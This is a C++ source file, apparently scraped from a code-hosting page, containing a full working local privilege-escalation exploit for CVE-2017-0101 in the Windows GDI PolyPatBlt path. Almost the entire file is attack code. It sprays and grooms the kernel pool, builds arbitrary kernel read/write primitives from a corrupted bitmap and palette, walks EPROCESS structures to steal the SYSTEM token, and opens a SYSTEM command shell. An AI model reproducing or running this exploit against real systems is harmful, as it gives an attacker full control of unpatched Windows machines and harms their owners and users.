666 lines
No EOL
16 KiB
C++
666 lines
No EOL
16 KiB
C++
#include <Windows.h>
|
|
#include <wingdi.h>
|
|
#include <iostream>
|
|
#include <Psapi.h>
|
|
#pragma comment(lib, "psapi.lib")
|
|
|
|
#define POCDEBUG 0
|
|
|
|
#if POCDEBUG == 1
|
|
#define POCDEBUG_BREAK() getchar()
|
|
#elif POCDEBUG == 2
|
|
#define POCDEBUG_BREAK() DebugBreak()
|
|
#else
|
|
#define POCDEBUG_BREAK()
|
|
#endif
|
|
|
|
CONST LONG maxTimes = 2000;
|
|
CONST LONG tmpTimes = 3000;
|
|
static HBITMAP hbitmap[maxTimes] = { NULL };
|
|
static HPALETTE hpalette[maxTimes] = { NULL };
|
|
|
|
static DWORD iMemHunted = NULL;
|
|
static HBITMAP hBmpHunted = NULL;
|
|
static PDWORD pBmpHunted = NULL;
|
|
static HPALETTE hPalExtend = NULL;
|
|
|
|
CONST LONG iExtPaleHmgr = 809;
|
|
CONST LONG iExtcEntries = 814;
|
|
CONST LONG iExtPalColor = 828;
|
|
|
|
typedef struct _PATRECT {
|
|
INT nXLeft;
|
|
INT nYLeft;
|
|
INT nWidth;
|
|
INT nHeight;
|
|
HBRUSH hBrush;
|
|
} PATRECT, *PPATRECT;
|
|
|
|
typedef BOOL (WINAPI *pfPolyPatBlt)(HDC hdc, DWORD rop, PPATRECT pPoly, DWORD Count, DWORD Mode);
|
|
|
|
static
|
|
BOOL xxCreateBitmaps(INT nWidth, INT Height, UINT nbitCount)
|
|
{
|
|
POCDEBUG_BREAK();
|
|
for (LONG i = 0; i < maxTimes; i++)
|
|
{
|
|
hbitmap[i] = CreateBitmap(nWidth, Height, 1, nbitCount, NULL);
|
|
if (hbitmap[i] == NULL)
|
|
{
|
|
return FALSE;
|
|
}
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
static
|
|
BOOL xxDeleteBitmaps(VOID)
|
|
{
|
|
BOOL bReturn = FALSE;
|
|
POCDEBUG_BREAK();
|
|
for (LONG i = 0; i < maxTimes; i++)
|
|
{
|
|
bReturn = DeleteObject(hbitmap[i]);
|
|
hbitmap[i] = NULL;
|
|
}
|
|
return bReturn;
|
|
}
|
|
|
|
static
|
|
BOOL xxRegisterWndClasses(LPCSTR menuName)
|
|
{
|
|
POCDEBUG_BREAK();
|
|
CHAR buf[0x10] = { 0 };
|
|
for (LONG i = 0; i < tmpTimes; i++)
|
|
{
|
|
WNDCLASSEXA Class = { 0 };
|
|
sprintf(buf, "CLS_%d", i);
|
|
Class.lpfnWndProc = DefWindowProcA;
|
|
Class.lpszClassName = buf;
|
|
Class.lpszMenuName = menuName;
|
|
Class.cbSize = sizeof(WNDCLASSEXA);
|
|
if (!RegisterClassExA(&Class))
|
|
{
|
|
return FALSE;
|
|
}
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
static
|
|
BOOL xxDigHoleInWndClasses(LONG b, LONG e)
|
|
{
|
|
BOOL bReturn = FALSE;
|
|
CHAR buf[0x10] = { 0 };
|
|
for (LONG i = b; i < e; i++)
|
|
{
|
|
sprintf(buf, "CLS_%d", i);
|
|
bReturn = UnregisterClassA(buf, NULL);
|
|
}
|
|
return bReturn;
|
|
}
|
|
|
|
static
|
|
BOOL xxUnregisterWndClasses(VOID)
|
|
{
|
|
BOOL bReturn = FALSE;
|
|
CHAR buf[0x10] = { 0 };
|
|
for (LONG i = 0; i < tmpTimes; i++)
|
|
{
|
|
sprintf(buf, "CLS_%d", i);
|
|
bReturn = UnregisterClassA(buf, NULL);
|
|
}
|
|
return bReturn;
|
|
}
|
|
|
|
static
|
|
BOOL xxCreatePalettes(ULONG cEntries)
|
|
{
|
|
BOOL bReturn = FALSE;
|
|
POCDEBUG_BREAK();
|
|
PLOGPALETTE pal = NULL;
|
|
// 0x64*4+0x58+8=0x1f0
|
|
pal = (PLOGPALETTE)malloc(sizeof(LOGPALETTE) + cEntries * sizeof(PALETTEENTRY));
|
|
pal->palVersion = 0x300;
|
|
pal->palNumEntries = cEntries;
|
|
for (LONG i = 0; i < maxTimes; i++)
|
|
{
|
|
hpalette[i] = CreatePalette(pal);
|
|
if (hpalette[i] == NULL)
|
|
{
|
|
bReturn = FALSE;
|
|
break;
|
|
}
|
|
bReturn = TRUE;
|
|
}
|
|
free(pal);
|
|
return bReturn;
|
|
}
|
|
|
|
static
|
|
BOOL xxDeletePalettes(VOID)
|
|
{
|
|
BOOL bReturn = FALSE;
|
|
POCDEBUG_BREAK();
|
|
for (LONG i = 0; i < maxTimes; i++)
|
|
{
|
|
bReturn = DeleteObject(hpalette[i]);
|
|
hpalette[i] = NULL;
|
|
}
|
|
return bReturn;
|
|
}
|
|
|
|
static
|
|
BOOL xxRetrieveBitmapBits(VOID)
|
|
{
|
|
pBmpHunted = static_cast<PDWORD>(malloc(0x1000));
|
|
ZeroMemory(pBmpHunted, 0x1000);
|
|
LONG index = -1;
|
|
LONG iLeng = -1;
|
|
POCDEBUG_BREAK();
|
|
for (LONG i = 0; i < maxTimes; i++)
|
|
{
|
|
iLeng = GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted);
|
|
if (iLeng < 0xCA0)
|
|
{
|
|
continue;
|
|
}
|
|
index = i;
|
|
std::cout << "LOCATE: " << '[' << i << ']' << hbitmap[i] << std::endl;
|
|
hBmpHunted = hbitmap[i];
|
|
break;
|
|
}
|
|
if (index == -1)
|
|
{
|
|
std::cout << "FAILED: " << (PVOID)(-1) << std::endl;
|
|
return FALSE;
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
static
|
|
VOID xxOutputBitmapBits(VOID)
|
|
{
|
|
POCDEBUG_BREAK();
|
|
for (LONG i = 0; i < 0x1000 / sizeof(DWORD); i++)
|
|
{
|
|
std::cout << '[';
|
|
std::cout.fill('0');
|
|
std::cout.width(4);
|
|
std::cout << i << ']' << (PVOID)pBmpHunted[i];
|
|
if (((i + 1) % 4) != 0)
|
|
{
|
|
std::cout << " ";
|
|
}
|
|
else
|
|
{
|
|
std::cout << std::endl;
|
|
}
|
|
}
|
|
std::cout.width(0);
|
|
}
|
|
|
|
static
|
|
BOOL xxGetExtendPalette(HPALETTE hHandle)
|
|
{
|
|
LONG index = -1;
|
|
POCDEBUG_BREAK();
|
|
for (LONG i = 0; i < maxTimes; i++)
|
|
{
|
|
if (hpalette[i] != hHandle)
|
|
{
|
|
continue;
|
|
}
|
|
index = i;
|
|
std::cout << "LOCATE: " << '[' << i << ']' << hpalette[i] << std::endl;
|
|
hPalExtend = hpalette[i];
|
|
break;
|
|
}
|
|
if (index == -1)
|
|
{
|
|
std::cout << "FAILED: " << (PVOID)(-1) << std::endl;
|
|
return FALSE;
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
static
|
|
BOOL xxPoint(LONG id, DWORD Value)
|
|
{
|
|
LONG iLeng = 0x00;
|
|
pBmpHunted[id] = Value;
|
|
iLeng = SetBitmapBits(hBmpHunted, 0xD00, pBmpHunted);
|
|
if (iLeng < 0xD00)
|
|
{
|
|
return FALSE;
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
static
|
|
BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb)
|
|
{
|
|
UINT iLeng = 0;
|
|
pBmpHunted[iExtPalColor] = addr;
|
|
iLeng = SetBitmapBits(hBmpHunted, 0xD00, pBmpHunted);
|
|
if (iLeng < 0xD00)
|
|
{
|
|
return FALSE;
|
|
}
|
|
PVOID pvTable = NULL;
|
|
UINT cbSize = (cb + 3) & ~3; // sizeof(PALETTEENTRY) => 4
|
|
pvTable = malloc(cbSize);
|
|
memcpy(pvTable, pvBits, cb);
|
|
iLeng = SetPaletteEntries(hPalExtend, 0, cbSize / 4, (PPALETTEENTRY)pvTable);
|
|
free(pvTable);
|
|
if (iLeng < cbSize / 4)
|
|
{
|
|
return FALSE;
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
static
|
|
BOOL xxPointToGet(LONG addr, PVOID pvBits, DWORD cb)
|
|
{
|
|
BOOL iLeng = 0;
|
|
pBmpHunted[iExtPalColor] = addr;
|
|
iLeng = SetBitmapBits(hBmpHunted, 0xD00, pBmpHunted);
|
|
if (iLeng < 0xD00)
|
|
{
|
|
return FALSE;
|
|
}
|
|
PVOID pvTable = NULL;
|
|
UINT cbSize = (cb + 3) & ~3; // sizeof(PALETTEENTRY) => 4
|
|
pvTable = malloc(cbSize);
|
|
iLeng = GetPaletteEntries(hPalExtend, 0, cbSize / 4, (PPALETTEENTRY)pvTable);
|
|
memcpy(pvBits, pvTable, cb);
|
|
free(pvTable);
|
|
if (iLeng < cbSize / 4)
|
|
{
|
|
return FALSE;
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
static
|
|
BOOL xxFixHuntedPoolHeader(VOID)
|
|
{
|
|
DWORD szInputBit[0x100] = { 0 };
|
|
CONST LONG iTrueBmpHead = 937;
|
|
szInputBit[0] = pBmpHunted[iTrueBmpHead + 0];
|
|
szInputBit[1] = pBmpHunted[iTrueBmpHead + 1];
|
|
BOOL bReturn = FALSE;
|
|
bReturn = xxPointToHit(iMemHunted + 0x000, szInputBit, 0x08);
|
|
if (!bReturn)
|
|
{
|
|
return FALSE;
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
static
|
|
BOOL xxFixHuntedBitmapObject(VOID)
|
|
{
|
|
DWORD szInputBit[0x100] = { 0 };
|
|
szInputBit[0] = (DWORD)hBmpHunted;
|
|
BOOL bReturn = FALSE;
|
|
bReturn = xxPointToHit(iMemHunted + 0x08, szInputBit, 0x04);
|
|
if (!bReturn)
|
|
{
|
|
return FALSE;
|
|
}
|
|
bReturn = xxPointToHit(iMemHunted + 0x1c, szInputBit, 0x04);
|
|
if (!bReturn)
|
|
{
|
|
return FALSE;
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
static
|
|
DWORD_PTR
|
|
xxGetNtoskrnlAddress(VOID)
|
|
{
|
|
DWORD_PTR AddrList[500] = { 0 };
|
|
DWORD cbNeeded = 0;
|
|
EnumDeviceDrivers((LPVOID *)&AddrList, sizeof(AddrList), &cbNeeded);
|
|
return AddrList[0];
|
|
}
|
|
|
|
static
|
|
DWORD_PTR
|
|
xxGetSysPROCESS(VOID)
|
|
{
|
|
DWORD_PTR Module = 0x00;
|
|
DWORD_PTR NtAddr = 0x00;
|
|
Module = (DWORD_PTR)LoadLibraryA("ntkrnlpa.exe");
|
|
NtAddr = (DWORD_PTR)GetProcAddress((HMODULE)Module, "PsInitialSystemProcess");
|
|
FreeLibrary((HMODULE)Module);
|
|
NtAddr = NtAddr - Module;
|
|
Module = xxGetNtoskrnlAddress();
|
|
if (Module == 0x00)
|
|
{
|
|
return 0x00;
|
|
}
|
|
NtAddr = NtAddr + Module;
|
|
if (!xxPointToGet(NtAddr, &NtAddr, sizeof(DWORD_PTR)))
|
|
{
|
|
return 0x00;
|
|
}
|
|
return NtAddr;
|
|
}
|
|
|
|
CONST LONG off_EPROCESS_UniqueProId = 0x0b4;
|
|
CONST LONG off_EPROCESS_ActiveLinks = 0x0b8;
|
|
|
|
static
|
|
DWORD_PTR
|
|
xxGetTarPROCESS(DWORD_PTR SysPROC)
|
|
{
|
|
if (SysPROC == 0x00)
|
|
{
|
|
return 0x00;
|
|
}
|
|
DWORD_PTR point = SysPROC;
|
|
DWORD_PTR value = 0x00;
|
|
do
|
|
{
|
|
value = 0x00;
|
|
xxPointToGet(point + off_EPROCESS_UniqueProId, &value, sizeof(DWORD_PTR));
|
|
if (value == 0x00)
|
|
{
|
|
break;
|
|
}
|
|
if (value == GetCurrentProcessId())
|
|
{
|
|
return point;
|
|
}
|
|
value = 0x00;
|
|
xxPointToGet(point + off_EPROCESS_ActiveLinks, &value, sizeof(DWORD_PTR));
|
|
if (value == 0x00)
|
|
{
|
|
break;
|
|
}
|
|
point = value - off_EPROCESS_ActiveLinks;
|
|
if (point == SysPROC)
|
|
{
|
|
break;
|
|
}
|
|
} while (TRUE);
|
|
return 0x00;
|
|
}
|
|
|
|
CONST LONG off_EPROCESS_Token = 0x0f8;
|
|
static DWORD_PTR dstToken = 0x00;
|
|
static DWORD_PTR srcToken = 0x00;
|
|
|
|
static
|
|
BOOL
|
|
xxModifyTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC)
|
|
{
|
|
if (dstPROC == 0x00 || srcPROC == 0x00)
|
|
{
|
|
return FALSE;
|
|
}
|
|
// get target process original token pointer
|
|
xxPointToGet(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR));
|
|
if (dstToken == 0x00)
|
|
{
|
|
return FALSE;
|
|
}
|
|
// get system process token pointer
|
|
xxPointToGet(srcPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));
|
|
if (srcToken == 0x00)
|
|
{
|
|
return FALSE;
|
|
}
|
|
// modify target process token pointer to system
|
|
xxPointToHit(dstPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));
|
|
// just test if the modification is successful
|
|
DWORD_PTR tmpToken = 0x00;
|
|
xxPointToGet(dstPROC + off_EPROCESS_Token, &tmpToken, sizeof(DWORD_PTR));
|
|
if (tmpToken != srcToken)
|
|
{
|
|
return FALSE;
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
static
|
|
BOOL
|
|
xxRecoverTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC)
|
|
{
|
|
if (dstPROC == 0x00 || srcPROC == 0x00)
|
|
{
|
|
return FALSE;
|
|
}
|
|
if (dstToken == 0x00 || srcToken == 0x00)
|
|
{
|
|
return FALSE;
|
|
}
|
|
// recover the original token pointer to target process
|
|
xxPointToHit(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR));
|
|
return TRUE;
|
|
}
|
|
|
|
static
|
|
VOID xxCreateCmdLineProcess(VOID)
|
|
{
|
|
STARTUPINFO si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi = { 0 };
|
|
si.dwFlags = STARTF_USESHOWWINDOW;
|
|
si.wShowWindow = SW_SHOW;
|
|
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
|
|
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
|
|
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
|
|
}
|
|
|
|
static
|
|
VOID xxPrivilegeElevation(VOID)
|
|
{
|
|
BOOL bReturn = FALSE;
|
|
do
|
|
{
|
|
DWORD SysPROC = 0x0;
|
|
DWORD TarPROC = 0x0;
|
|
POCDEBUG_BREAK();
|
|
SysPROC = xxGetSysPROCESS();
|
|
if (SysPROC == 0x00)
|
|
{
|
|
break;
|
|
}
|
|
std::cout << "SYSTEM PROCESS: " << (PVOID)SysPROC << std::endl;
|
|
POCDEBUG_BREAK();
|
|
TarPROC = xxGetTarPROCESS(SysPROC);
|
|
if (TarPROC == 0x00)
|
|
{
|
|
break;
|
|
}
|
|
std::cout << "TARGET PROCESS: " << (PVOID)TarPROC << std::endl;
|
|
POCDEBUG_BREAK();
|
|
bReturn = xxModifyTokenPointer(TarPROC, SysPROC);
|
|
if (!bReturn)
|
|
{
|
|
break;
|
|
}
|
|
std::cout << "MODIFIED TOKEN TO SYSTEM!" << std::endl;
|
|
std::cout << "CREATE NEW CMDLINE PROCESS..." << std::endl;
|
|
POCDEBUG_BREAK();
|
|
xxCreateCmdLineProcess();
|
|
POCDEBUG_BREAK();
|
|
std::cout << "RECOVER TOKEN..." << std::endl;
|
|
bReturn = xxRecoverTokenPointer(TarPROC, SysPROC);
|
|
if (!bReturn)
|
|
{
|
|
break;
|
|
}
|
|
bReturn = TRUE;
|
|
} while (FALSE);
|
|
if (!bReturn)
|
|
{
|
|
std::cout << "FAILED" << std::endl;
|
|
}
|
|
}
|
|
|
|
INT POC_CVE20170101(VOID)
|
|
{
|
|
std::cout << "-------------------" << std::endl;
|
|
std::cout << "POC - CVE-2017-0101" << std::endl;
|
|
std::cout << "-------------------" << std::endl;
|
|
|
|
BOOL bReturn = FALSE;
|
|
HDC hdc = NULL;
|
|
HBITMAP hbmp = NULL;
|
|
HBRUSH hbru = NULL;
|
|
pfPolyPatBlt pfnPolyPatBlt = NULL;
|
|
do
|
|
{
|
|
hdc = GetDC(NULL);
|
|
std::cout << "GET DEVICE CONTEXT: " << hdc << std::endl;
|
|
if (hdc == NULL)
|
|
{
|
|
break;
|
|
}
|
|
|
|
std::cout << "CREATE PATTERN BRUSH BITMAP..." << std::endl;
|
|
hbmp = CreateBitmap(0x36D, 0x12AE8F, 1, 1, NULL);
|
|
if (hbmp == NULL)
|
|
{
|
|
break;
|
|
}
|
|
|
|
std::cout << "CREATE PATTERN BRUSH..." << std::endl;
|
|
hbru = CreatePatternBrush(hbmp);
|
|
if (hbru == NULL)
|
|
{
|
|
break;
|
|
}
|
|
|
|
std::cout << "CREATE BITMAPS (1)..." << std::endl;
|
|
bReturn = xxCreateBitmaps(0xE8C, 1, 8);
|
|
if (!bReturn)
|
|
{
|
|
break;
|
|
}
|
|
|
|
std::cout << "REGISTER WINDOW CLASSES..." << std::endl;
|
|
bReturn = xxRegisterWndClasses("KCUF");
|
|
if (!bReturn)
|
|
{
|
|
break;
|
|
}
|
|
|
|
std::cout << "DELETE BITMAPS (1)..." << std::endl;
|
|
xxDeleteBitmaps();
|
|
|
|
std::cout << "CREATE BITMAPS (2)..." << std::endl;
|
|
bReturn = xxCreateBitmaps(0xC98, 1, 8);
|
|
if (!bReturn)
|
|
{
|
|
break;
|
|
}
|
|
|
|
std::cout << "CREATE PALETTES (1)..." << std::endl;
|
|
bReturn = xxCreatePalettes(0x64);
|
|
if (!bReturn)
|
|
{
|
|
break;
|
|
}
|
|
|
|
std::cout << "UNREGISTER WINDOW CLASSES (H)..." << std::endl;
|
|
xxDigHoleInWndClasses(1000, 2000);
|
|
|
|
std::cout << "POLYPATBLT..." << std::endl;
|
|
POCDEBUG_BREAK();
|
|
pfnPolyPatBlt = (pfPolyPatBlt)GetProcAddress(GetModuleHandleA("gdi32"), "PolyPatBlt");
|
|
if (pfnPolyPatBlt == NULL)
|
|
{
|
|
break;
|
|
}
|
|
PATRECT ppb[1] = { 0 };
|
|
ppb[0].nXLeft = 0x100;
|
|
ppb[0].nYLeft = 0x100;
|
|
ppb[0].nWidth = 0x100;
|
|
ppb[0].nHeight = 0x100;
|
|
ppb[0].hBrush = hbru;
|
|
pfnPolyPatBlt(hdc, PATCOPY, ppb, 1, 0);
|
|
|
|
std::cout << "LOCATE HUNTED BITMAP..." << std::endl;
|
|
bReturn = xxRetrieveBitmapBits();
|
|
if (!bReturn)
|
|
{
|
|
break;
|
|
}
|
|
|
|
// std::cout << "OUTPUT BITMAP BITS..." << std::endl;
|
|
// xxOutputBitmapBits();
|
|
|
|
std::cout << "LOCATE EXTEND PALETTE..." << std::endl;
|
|
bReturn = xxGetExtendPalette((HPALETTE)pBmpHunted[iExtPaleHmgr]);
|
|
if (!bReturn)
|
|
{
|
|
break;
|
|
}
|
|
|
|
if ((pBmpHunted[iExtcEntries]) != 0x64 ||
|
|
(pBmpHunted[iExtPalColor] & 0xFFF) != 0x00000E54)
|
|
{
|
|
bReturn = FALSE;
|
|
std::cout << "FAILED: " << (PVOID)pBmpHunted[iExtPalColor] << std::endl;
|
|
break;
|
|
}
|
|
iMemHunted = (pBmpHunted[iExtPalColor] & ~0xFFF);
|
|
std::cout << "HUNTED PAGE: " << (PVOID)iMemHunted << std::endl;
|
|
std::cout << "FIX HUNTED POOL HEADER..." << std::endl;
|
|
bReturn = xxFixHuntedPoolHeader();
|
|
if (!bReturn)
|
|
{
|
|
break;
|
|
}
|
|
|
|
std::cout << "FIX HUNTED BITMAP OBJECT..." << std::endl;
|
|
bReturn = xxFixHuntedBitmapObject();
|
|
if (!bReturn)
|
|
{
|
|
break;
|
|
}
|
|
|
|
std::cout << "-------------------" << std::endl;
|
|
std::cout << "PRIVILEGE ELEVATION" << std::endl;
|
|
std::cout << "-------------------" << std::endl;
|
|
xxPrivilegeElevation();
|
|
std::cout << "-------------------" << std::endl;
|
|
|
|
std::cout << "DELETE BITMAPS (2)..." << std::endl;
|
|
xxDeleteBitmaps();
|
|
|
|
std::cout << "DELETE PALETTES (1)..." << std::endl;
|
|
xxDeletePalettes();
|
|
|
|
bReturn = TRUE;
|
|
} while (FALSE);
|
|
|
|
if (bReturn == FALSE)
|
|
{
|
|
std::cout << GetLastError() << std::endl;
|
|
}
|
|
|
|
POCDEBUG_BREAK();
|
|
std::cout << "DELETE BRUSH..." << std::endl;
|
|
DeleteObject(hbru);
|
|
DeleteObject(hbmp);
|
|
|
|
std::cout << "UNREGISTER WINDOW CLASSES (1)..." << std::endl;
|
|
xxUnregisterWndClasses();
|
|
|
|
std::cout << "-------------------" << std::endl;
|
|
getchar();
|
|
return 0;
|
|
}
|
|
|
|
INT main(INT argc, CHAR *argv[])
|
|
{
|
|
POC_CVE20170101();
|
|
return 0;
|
|
} |